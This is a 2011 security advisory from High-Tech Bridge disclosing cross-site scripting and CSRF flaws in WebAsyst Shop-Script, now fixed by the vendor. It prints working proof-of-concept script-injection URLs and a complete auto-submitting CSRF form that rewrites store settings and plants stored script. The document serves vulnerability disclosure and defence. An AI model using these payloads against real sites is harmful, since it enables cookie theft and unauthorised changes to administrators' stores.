Multiple Vulnerabilities in WebAsyst Shop-Script
Advisory ID: | HTB22817 |
Product: | WebAsyst Shop-Script |
Vendor: | WebAsyst, LLC |
Vulnerable Versions: | Current version 2011.01.23 (shop-script.ru/demo/) and probably prior |
Tested Version: | Current version 2011.01.23 (shop-script.ru/demo/) |
Advisory Publication: | January 25, 2011 [without technical details] |
Vendor Notification: | January 25, 2011 |
Public Disclosure: | February 8, 2011 |
Latest Update: | July 25, 2011 |
Vulnerability Type: | Cross-Site Scripting [CWE-79] Cross-Site Request Forgery [CWE-352] |
Risk Level: | Medium |
| |
CVSSv2 Base Scores: | 4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N) 4 (AV:N/AC:H/Au:N/C:N/I:P/A:P) |
Solution Status: | Fixed by Vendor |
Discovered and Provided: | High-Tech Bridge Security Research Lab |
Advisory Details: |
High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in WebAsyst Shop-Script which could be exploited to perform cross-site scripting and cross-site request forgery attacks.
1) Cross-site scripting (XSS) vulnerabilities in WebAsyst Shop-Script 1.1 The vulnerability exists due to input sanitation error in the "orderID_textbox", "login" and "first_ name" parameters in SC/html/scripts/index.php. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website. Exploitation examples: http://host/SC/html/scripts/index.php?did=21&order_search_type=SearchByOrder ID&orderID_textbox=1"><s cript>alert(document.cookie)</script>&search=Show http://host/SC/html/scrip ts/index.php?did=22&login=1"><script>alert(document.cookie)</script>&first_ name=2"><script>alert(document.cookie)</script>&custgroupID=0&email=&last_na me=&ActState=-1&search=% D0%9D%D0%B0%D0%B9%D1%82%D0%B8&charset=cp1251&count_to_export= 1.2 The vulnerability exists due to input sanitation error in the "app" parameter in index.php. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website. Exploitation example: http://host/?app=UG"><script>alert(document.cookie)</script>
2) Cross-site request forgery (CSRF) vulnerabilities in WebAsyst Shop-Script The vulnerability exists due to insufficient validation of the request origin in SC/html/scripts/index.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and change website settings. Due to insufficient sanitation of input data in the "settingCONF_SHOP_NAME_en" parameter it is also possible to store and execute arbitrary HTML and script code in user`s browser in context of vulnerable website. Exploitation example: <form action="http://host/SC/html/scripts/index.php?ukey=bsettings&settings_groupI D=2" method="post" name="main" enctype="multipart/form-data" > <input type="hidden" name="uri" value="http://1" /> <input type="hidden" name="settingCONF_SHOP_NAME_ru" value='shopname"><script>alert(document.cookie)</script>'> <input type="hidden" name="settingCONF_SHOP_NAME_en" value='shopname"><script>alert(document.cookie)</script>'> <input type="hidden" name="settingCONF_SHOP_URL" value="test.webasyst.net/shop/"> <input type="hidden" name="settingCONF_GENERAL_EMAIL" value="test@example.com"> <input type="hidden" name="settingCONF_ORDERS_EMAIL" value="test@example.com"> <input type="hidden" name="settingCONF_ENABLE_CONFIRMATION_CODE" value="1"> <input type="hidden" name="setting_DATEFORMAT" value="DD.MM.YYYY"> <input type="hidden" name="setting_CONF_STOREFRONT_TIME_ZONE" value="51"> <input type="hidden" name="setting_CONF_FIRST_WEEKDAY" value="0"> <input type="hidden" name="settingCONF_DEFAULT_TITLE_ru" value="test"> <input type="hidden" name="settingCONF_DEFAULT_TITLE_en" value="test - Online Store"> <input type="hidden" name="settingCONF_HOMEPAGE_META_KEYWORDS_ru" value=""> <input type="hidden" name="settingCONF_HOMEPAGE_META_KEYWORDS_en" value=""> <input type="hidden" name="settingCONF_HOMEPAGE_META_DESCRIPTION_ru" value=""> <input type="hidden" name="settingCONF_HOMEPAGE_META_DESCRIPTION_en" value=""> <input type="hidden" name="settingCONF_GOOGLE_MAPS_API_KEY" value=""> <input type="hidden" name="settingCONF_WAREHOUSE_ADDRESS" value=""> <input type="hidden" name="setting_CONF_PRINTFORM_COMPANY_LOGO" value=""> <input type="hidden" name="save" value="Save"> </form> <script> document.main.submit(); </script> |
- GDPR & PCI DSS Test
- Website CMS Security Test
- CSP & HTTP Headers Check
- WordPress & Drupal Scanning
Try For Free Solution: |
Upgrade to the most recent version |
|
References: |
[1] High-Tech Bridge Advisory HTB22817 - https://www.immuniweb.com/advisory/HTB22817 - Multiple Vulnerabilities in WebAsyst Shop-Script [2] WebAsyst Shop-Script - shop-script.ru - WebAsyst Shop-Script is a content management system for online shops. [3] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types. |
|
Have additional information to submit?
Please feel free to send us any additional information related to this Advisory, such as vulnerable versions, additional exploitation details and conditions, patches and other relevant details.